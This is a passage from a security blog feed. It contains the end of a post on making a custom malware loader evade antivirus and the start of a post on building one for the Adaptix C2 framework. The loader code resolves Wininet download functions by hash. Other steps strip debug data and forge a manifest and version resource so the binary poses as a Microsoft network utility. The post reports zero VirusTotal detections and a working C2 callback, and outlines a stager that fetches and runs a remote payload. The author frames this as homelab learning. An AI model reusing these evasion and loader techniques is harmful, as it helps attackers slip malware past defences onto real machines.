</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// ..,
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pKernelbase<span style="color:#f92672">-&gt;</span>ModuleHandle) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to retrive kernelbase.dll handle</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pWininet<span style="color:#f92672">-&gt;</span>ModuleHandle <span style="color:#f92672">=</span> <span style="color:#a6e22e">LoadLibraryW</span>(<span style="color:#e6db74">L</span><span style="color:#e6db74">&#34;Wininet.dll&#34;</span>); 
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// ... 
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pHashedApis<span style="color:#f92672">-&gt;</span>pInternetOpenW <span style="color:#f92672">=</span> (fnInternetOpenW)<span style="color:#a6e22e">GetProcAddressCustom</span>(pWininet, InternetOpenW_FnvvW);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pHashedApis<span style="color:#f92672">-&gt;</span>pInternetOpenW) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve InternetOpenW.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">InternetOpenW</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> address: 0x%p</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, pHashedApis<span style="color:#f92672">-&gt;</span>pInternetOpenW);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pHashedApis<span style="color:#f92672">-&gt;</span>pInternetOpenUrlW <span style="color:#f92672">=</span> (fnInternetOpenUrlW)<span style="color:#a6e22e">GetProcAddressCustom</span>(pWininet, InternetOpenUrlW_FnvvW);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pHashedApis<span style="color:#f92672">-&gt;</span>pInternetOpenUrlW) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve InternetOpenUrlW.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">InternetOpenUrlW</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> address: 0x%p</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, pHashedApis<span style="color:#f92672">-&gt;</span>pInternetOpenUrlW);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pHashedApis<span style="color:#f92672">-&gt;</span>pInternetSetOptionW <span style="color:#f92672">=</span> (fnInternetSetOptionW)<span style="color:#a6e22e">GetProcAddressCustom</span>(pWininet, InternetSetOptionW_FnvvW);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pHashedApis<span style="color:#f92672">-&gt;</span>pInternetSetOptionW) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve InternetSetOptionW.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">InternetSetOptionW</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> address: 0x%p</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, pHashedApis<span style="color:#f92672">-&gt;</span>pInternetSetOptionW);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pHashedApis<span style="color:#f92672">-&gt;</span>pInternetReadFile <span style="color:#f92672">=</span> (fnInternetReadFile)<span style="color:#a6e22e">GetProcAddressCustom</span>(pWininet, InternetReadFile_FnvvW);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pHashedApis<span style="color:#f92672">-&gt;</span>pInternetReadFile) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve InternetReadFile.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">InternetReadFile</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> address: 0x%p</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, pHashedApis<span style="color:#f92672">-&gt;</span>pInternetReadFile);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pHashedApis<span style="color:#f92672">-&gt;</span>pInternetCloseHandle <span style="color:#f92672">=</span> (fnInternetCloseHandle)<span style="color:#a6e22e">GetProcAddressCustom</span>(pWininet, InternetCloseHandle_FnvvW);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pHashedApis<span style="color:#f92672">-&gt;</span>pInternetCloseHandle) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve InternetCloseHandle.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">InternetCloseHandle</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> address: 0x%p</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, pHashedApis<span style="color:#f92672">-&gt;</span>pInternetCloseHandle);
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>ppHashedApis <span style="color:#f92672">=</span> pHashedApis;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>It removed the <code>Wininet.dll</code> file and the functions being imported from the IAT but at the cost of hardcoded <code>Wininet.dll</code> string in the source code as I had to load the library manually through <code>LoadLibraryW</code> for function resolution through hashes.</p>
<p><img src="./NetUtil5.5-iat.png" alt="NetUtil5.5-iat"></p>
<p>This further decreased the the detection rate to 4.</p>
<p><img src="./NetUtil5.5-virustotal.png" alt="NetUtil5.5-virustotal"></p>
<h2 id="binary-attributes">Binary attributes</h2>
<h3 id="debug-information">Debug Information</h3>
<p>Next, I had to target the <code>.pdb</code> path I left foolishly in the build. Visual Studio provides the option to opt-out from publishing debug info at: <strong>Project Properties &gt; Linker &gt; Debugging</strong> - setting <strong>Generate Debug Info</strong> to <strong>No</strong>.</p>
<h3 id="version-and-manifest">Version and Manifest</h3>
<p>Creating a <code>NetUtil.rc</code> resource file, I further added a Version resource within it. I crafted the following version file to masquerade the binary as a Microsoft utility.</p>
<p><img src="./NetUtil-version.png" alt="NetUtil-version"></p>
<p>For the manifest, I created <code>app.manifest</code> file with following contents that defines:</p>
<ul>
<li>This application does not need UAC invocation</li>
<li>This application is compatible across different microsoft versions (<code>supportedOS</code> GUIDs dervied from: <a href="https://learn.microsoft.com/en-us/windows/win32/sysinfo/targeting-your-application-at-windows-8-1">https://learn.microsoft.com/en-us/windows/win32/sysinfo/targeting-your-application-at-windows-8-1</a>)</li>
<li>This application is DPI aware</li>
</ul>
<p>to further add onto pseudo-legitimacy.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;assembly</span> <span style="color:#a6e22e">manifestVersion=</span><span style="color:#e6db74">&#34;1.0&#34;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">xmlns=</span><span style="color:#e6db74">&#34;urn:schemas-microsoft-com:asm.v1&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;assemblyIdentity</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">version=</span><span style="color:#e6db74">&#34;5.6.0.1&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">processorArchitecture=</span><span style="color:#e6db74">&#34;amd64&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">name=</span><span style="color:#e6db74">&#34;Microsoft.Windows.NetworkUtil&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">type=</span><span style="color:#e6db74">&#34;win32&#34;</span> <span style="color:#f92672">/&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;description&gt;</span>Network Diagnostic Utility<span style="color:#f92672">&lt;/description&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">&lt;!-- UAC --&gt;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;trustInfo</span> <span style="color:#a6e22e">xmlns=</span><span style="color:#e6db74">&#34;urn:schemas-microsoft-com:asm.v3&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;security&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;requestedPrivileges&gt;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#75715e">&lt;!--
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">            UAC settings:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">            - app should run at same integrity level as calling process
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">            - app does not need to manipulate windows belonging to
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">              higher-integrity-level processes
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">            --&gt;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&lt;requestedExecutionLevel</span>
</span></span><span style="display:flex;"><span>              <span style="color:#a6e22e">level=</span><span style="color:#e6db74">&#34;asInvoker&#34;</span>
</span></span><span style="display:flex;"><span>              <span style="color:#a6e22e">uiAccess=</span><span style="color:#e6db74">&#34;false&#34;</span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">/&gt;</span>   
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;/requestedPrivileges&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;/security&gt;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;/trustInfo&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">&lt;!-- OS compatibility --&gt;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;compatibility</span> <span style="color:#a6e22e">xmlns=</span><span style="color:#e6db74">&#34;urn:schemas-microsoft-com:compatibility.v1&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;application&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">&lt;!-- Windows 10 and Windows 11 --&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;supportedOS</span> <span style="color:#a6e22e">Id=</span><span style="color:#e6db74">&#34;{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}&#34;</span><span style="color:#f92672">/&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">&lt;!-- Windows 8.1 --&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;supportedOS</span> <span style="color:#a6e22e">Id=</span><span style="color:#e6db74">&#34;{1f676c76-80e1-4239-95bb-83d0f6d0da78}&#34;</span><span style="color:#f92672">/&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">&lt;!-- Windows 8 --&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;supportedOS</span> <span style="color:#a6e22e">Id=</span><span style="color:#e6db74">&#34;{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}&#34;</span><span style="color:#f92672">/&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">&lt;!-- Windows 7 --&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;supportedOS</span> <span style="color:#a6e22e">Id=</span><span style="color:#e6db74">&#34;{35138b9a-5d96-4fbd-8e2d-a2440225f93a}&#34;</span><span style="color:#f92672">/&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">&lt;!-- Windows Vista --&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;supportedOS</span> <span style="color:#a6e22e">Id=</span><span style="color:#e6db74">&#34;{e2011457-1546-43c5-a5fe-008deee3d3f0}&#34;</span><span style="color:#f92672">/&gt;</span> 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;/application&gt;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;/compatibility&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">&lt;!-- DPI awareness --&gt;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;application</span> <span style="color:#a6e22e">xmlns=</span><span style="color:#e6db74">&#34;urn:schemas-microsoft-com:asm.v3&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;windowsSettings&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;dpiAware</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">xmlns=</span><span style="color:#e6db74">&#34;http://schemas.microsoft.com/SMI/2005/WindowsSettings&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>        true
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;/dpiAware&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;/windowsSettings&gt;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;/application&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/assembly&gt;</span>
</span></span></code></pre></div><p>Next, in <strong>Project properties &gt; Linker &gt; Manifest File</strong>, ensuring that <strong>Generate Manifest</strong> is <strong>Yes</strong>, I set <strong>Enable User Access Control (UAC)</strong> to <strong>No</strong> as I already defined the same in the XML above.</p>
<p>Within <strong>Project properties &gt; Manifest Tool &gt; Input and Output &gt; Additional Manifest Files</strong> I added my <code>app.manifest</code> file.</p>
<p>Finally, while building the project I encountered the following errors:</p>
<p><img src="./NetUtil-version-build-error.png" alt="NetUtil-version-build-error"></p>
<p>To include macro definitions, I prefixed <code>#include &lt;windef.h&gt;</code> before <code>#include &quot;resource.h&quot;</code> include statement, it further fixed all other build errors mentioned above so I flew with it.</p>
<h3 id="benchmarking">Benchmarking</h3>
<p>This release build finally landed 0 detections on VirusTotal.</p>
<p><img src="./NetUtil-zero-on-virustotal.png" alt="NetUtil-zero-on-virustotal"></p>
<h2 id="in-the-trenches">In the trenches</h2>
<p>Throwing this final build onto my SOC-SIEM lab gave me successful connection onto Adaptix C2. Unlike the previous attempt where a debug build (may be helping in lowering entropy) was the loader that succeeded, here the final release build was used.</p>
<p><img src="./NetUtil-adaptix-callback.png" alt="NetUtil-adaptix-callback"></p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>Crafting a Loader: My First Experience in Malware Development</title>
      <link>https://ashtrace.github.io/posts/my_first_loader/</link>
      <pubDate>Sat, 21 Mar 2026 01:26:34 -0400</pubDate>
      
      <guid>https://ashtrace.github.io/posts/my_first_loader/</guid>
      <description><![CDATA[<p>So after spending what felt like a reasonable amount of time on the defensive side of things as setting up homelabs, staring at Kibana dashboards, and learning what alerts look like, I figured it was time to see what those alerts are actually for. The logical next step was to write the thing that triggers them. Armed with my SOC homelab, a copy of Adaptix C2, a dangerously short reading list on Windows internals, and the kind of confidence that only comes from not fully understanding what you&rsquo;re getting into, I set out to build a loader from scratch.</p>
<h2 id="introduction-to-adaptixc2">Introduction to AdaptixC2</h2>
<p>The general consensus is that Adapatix C2 provides a similar experience to Cobalt Strike. In CRTO I learned the red team methodologies through Cobalt Strike thus here I&rsquo;d use Adaptix for C2 server, listener and agent.</p>
<h3 id="initial-setup">Initial Setup</h3>
<p>The sections under the <a href="https://adaptix-framework.gitbook.io/adaptix-framework/adaptix-c2/getting-starting"><em>Getting Starting</em></a> module of <a href="https://adaptix-framework.gitbook.io/adaptix-framework"><em>Adaptix&rsquo;s documentation</em></a> provide with guide to build server and client images from source. A gist of commands to follow is:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>git clone https://github.com/Adaptix-Framework/AdaptixC2.git
</span></span><span style="display:flex;"><span>cd AdaptixC2
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sudo ./pre_install_linux_all.sh all
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>make server-ext
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>make client-fast
</span></span></code></pre></div><p>Next, one would need to generate SSL certificates for the teamserver. The command to aid is</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>openssl req -x509 -nodes -newkey rsa:2048 -keyout server.rsa.key -out server.rsa.crt -days <span style="color:#ae81ff">3650</span>
</span></span></code></pre></div><p><img src="./adaptix-c2-openssl-cert-generation.png" alt="adaptix-c2-openssl-cert-generation"></p>
<p>The server and key names are to be fed into a YAML file which provides with configuration for the teamserver. The example configuration in the documentation is as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yml" data-lang="yml"><span style="display:flex;"><span><span style="color:#f92672">Teamserver</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">interface</span>: <span style="color:#e6db74">&#34;0.0.0.0&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">port</span>: <span style="color:#ae81ff">4321</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">endpoint</span>: <span style="color:#e6db74">&#34;/endpoint&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">password</span>: <span style="color:#e6db74">&#34;pass&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">only_password</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">operators</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">operator1</span>: <span style="color:#e6db74">&#34;pass1&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">operator2</span>: <span style="color:#e6db74">&#34;pass2&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">cert</span>: <span style="color:#e6db74">&#34;server.rsa.crt&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">key</span>: <span style="color:#e6db74">&#34;server.rsa.key&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">extenders</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#e6db74">&#34;extenders/beacon_listener_http/config.yaml&#34;</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#e6db74">&#34;extenders/beacon_listener_smb/config.yaml&#34;</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#e6db74">&#34;extenders/beacon_listener_tcp/config.yaml&#34;</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#e6db74">&#34;extenders/beacon_listener_dns/config.yaml&#34;</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#e6db74">&#34;extenders/beacon_agent/config.yaml&#34;</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#e6db74">&#34;extenders/gopher_listener_tcp/config.yaml&#34;</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#e6db74">&#34;extenders/gopher_agent/config.yaml&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">axscripts</span>:
</span></span><span style="display:flex;"><span><span style="color:#75715e">#    - &#34;Extension-Kit/extension-kit.axs&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">access_token_live_hours</span>: <span style="color:#ae81ff">12</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">refresh_token_live_hours</span>: <span style="color:#ae81ff">168</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">HttpServer</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">error</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">status</span>: <span style="color:#ae81ff">404</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">headers</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">Content-Type</span>: <span style="color:#e6db74">&#34;text/html; charset=UTF-8&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">Server</span>: <span style="color:#e6db74">&#34;AdaptixC2&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">Adaptix-Version</span>: <span style="color:#e6db74">&#34;v1.2&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">page</span>: <span style="color:#e6db74">&#34;404page.html&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">http</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">max_header_bytes</span>: <span style="color:#ae81ff">8192</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">read_header_timeout_sec</span>: <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">read_timeout_sec</span>: <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">write_timeout_sec</span>: <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">idle_timeout_sec</span>: <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">request_timeout_sec</span>: <span style="color:#ae81ff">300</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">request_timeout_message</span>: <span style="color:#e6db74">&#34;504 Gateway Timeout&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">disable_keep_alives</span>: <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">enable_http2</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">tls</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">min_version</span>: <span style="color:#e6db74">&#34;TLS1.2&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">max_version</span>: <span style="color:#e6db74">&#34;TLS1.3&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">prefer_server_cipher_suites</span>: <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">cipher_suites</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256&#34;</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384&#34;</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256&#34;</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384&#34;</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;TLS_RSA_WITH_AES_128_GCM_SHA256&#34;</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;TLS_RSA_WITH_AES_256_GCM_SHA384&#34;</span>
</span></span></code></pre></div><p>To read more about the parameters <a href="https://adaptix-framework.gitbook.io/adaptix-framework/adaptix-c2/getting-starting/starting"><em>click here</em></a>.</p>
<p>Finally, start the server using the following command:</p>
<pre tabindex="0"><code>./adaptixserver -profile profile.yaml
</code></pre><p><img src="./adaptix-c2-adaptixserver-launch.png" alt="adaptix-c2-adaptixserver-launch"></p>
<p>And connect through the client.</p>
<p><img src="./adaptix-c2-adaptixclient-login.png" alt="adaptix-c2-adaptixclient-login"></p>
<p><img src="./adaptix-c2-adaptixclient-dashboard.png" alt="adaptix-c2-adaptixclient-dashboard"></p>
<h3 id="listeners-and-agents">Listeners and Agents</h3>
<p>To create a listener one&rsquo;d need to click on the <em>headphones</em> icon. In the <code>listener</code> tray that appears in bottom-half of the dashboard, right-click and choose the <code>create</code> option. Configure the listener properties as required in the dialog window.</p>
<p><img src="./adaptix-c2-create-listener.png" alt="adaptix-c2-create-listener"></p>
<p>Finally, to create an agent for the listener, right-click on the listener and select <code>Generate agent</code>. Configure the options and save the agent to the disk.</p>
<p><img src="./adaptix-c2-create-beacon-agent-exe.png" alt="adaptix-c2-create-beacon-agent-exe"></p>
<h3 id="execution">Execution</h3>
<p>I executed the beacon agent EXE file on a Windows 11 system with only default Windows Security controls for consumer workstations and no enterprise or similar solutions. It wasn&rsquo;t detected by the running defender process and I recieved a callback.</p>
<p><img src="./adaptix-c2-execute-agent-exe.png" alt="adaptix-c2-execute-agent-exe"></p>
<p><img src="./adaptix-c2-connected-beacon.png" alt="adaptix-c2-connected-beacon"></p>
<p>But it was flagged by vendors as AdaptixC2 assocaited malware when I uploaded it to VirusTotal.</p>
<p><img src="./adaptix-c2-agent-exe-virustotal.png" alt="adaptix-c2-agent-exe-virustotal"></p>
<p>As evident from the image above, Elasic successfully detected the agent. To validate this, I transferred the agent to the SOC-homelab Windows 11 endpoint VM I had created in previous blog-post.</p>
<p><img src="./adaptix-c2-agent-detected-by-elastic-agent.png" alt="adaptix-c2-agent-detected-by-elastic-agent"></p>
<p><img src="./adaptix-c2-agent-detected-by-elastic-agent-alert.png" alt="adaptix-c2-agent-detected-by-elastic-agent-alert"></p>
<p>In the following sections, I&rsquo;ll try to create a custom loader that bypasses Elastic&rsquo;s detection and allows me to run the beacon agent.</p>
<h3 id="further-reading-for-adaptix-c2">Further Reading for Adaptix C2</h3>
<p>I&rsquo;d recommend going through the following sections to establish accquaintance with Adaptix</p>
<ul>
<li><a href="https://adaptix-framework.gitbook.io/adaptix-framework/adaptix-c2/getting-starting">Getting Starting</a></li>
<li><a href="https://adaptix-framework.gitbook.io/adaptix-framework/adaptix-c2/user-interface">User Interface</a></li>
<li><a href="https://adaptix-framework.gitbook.io/adaptix-framework/adaptix-c2/listeners-and-agents">Listeners and Agents</a></li>
</ul>
<h2 id="the-skeleton-of-a-loader">The Skeleton of a Loader</h2>
<p>My aim was to create a simple loader that fetches the payload from a staging web server and executes. To build this, the two components to be developed were:</p>
<ol>
<li><strong>Downloader</strong> - Section of code that fetches the payload from the remote staging server over HTTP. (Yes HTTP, I know, but this is just some exercise not an operation so I guess this would do).</li>
<li><strong>Executor</strong> - Section of code that executes the payload retrieved.</li>
</ol>
<h3 id="downloader">Downloader</h3>
<p>I used the Wininet library to create the downloader named as the function <code>FetchBlob</code> in the following code. The general structure of the code-block is</p>
<ul>
<li>Take the staging server&rsquo;s URL in <code>lpszUrl</code>.</li>
<li>Fetch the data in chunks of <code>4096</code> bytes (I should&rsquo;ve created a macro for that atleast, but here we are) and save it in a temporary chunk. Consolidate the chunk to the larger buffer.</li>
<li>Return the address of the buffer and its size in <code>ppBlob</code> and <code>psBlobSize</code> respectively.</li>
